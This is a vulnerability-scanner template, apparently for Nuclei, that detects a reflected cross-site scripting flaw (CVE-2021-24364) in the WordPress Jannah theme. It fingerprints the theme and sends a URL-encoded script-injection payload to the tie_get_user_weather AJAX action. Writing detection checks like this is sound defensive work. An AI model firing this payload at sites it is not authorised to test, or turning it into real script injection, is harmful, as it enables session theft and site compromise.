id: CVE-2021-24364

info:
  name: WordPress Jannah Theme <5.4.4 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress Jannah theme before 5.4.4 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the options JSON parameter in its tie_get_user_weather AJAX action before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the WordPress Jannah Theme to version 5.4.4 or later, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1d53fbe5-a879-42ca-a9d3-768a80018382
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24364
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/crpytoscooby/resourses_web
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24364
    cwe-id: CWE-79
    epss-score: 0.02005
    epss-percentile: 0.83927
    cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: tielabs
    product: jannah
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-theme,wpscan,tielabs,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/jannah/assets/'
          - 'attachment-jannah-image-'
        condition: or

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100830304bff57875f9041536f6cbb2b0deada024a1093073f9605ff439a0ea4a70022100e1af9afac89beda10d07a86e6a1d7372074cd46dbb24cb26c9b996800838f0fc:922c64590222798bb761d5b6d8e72950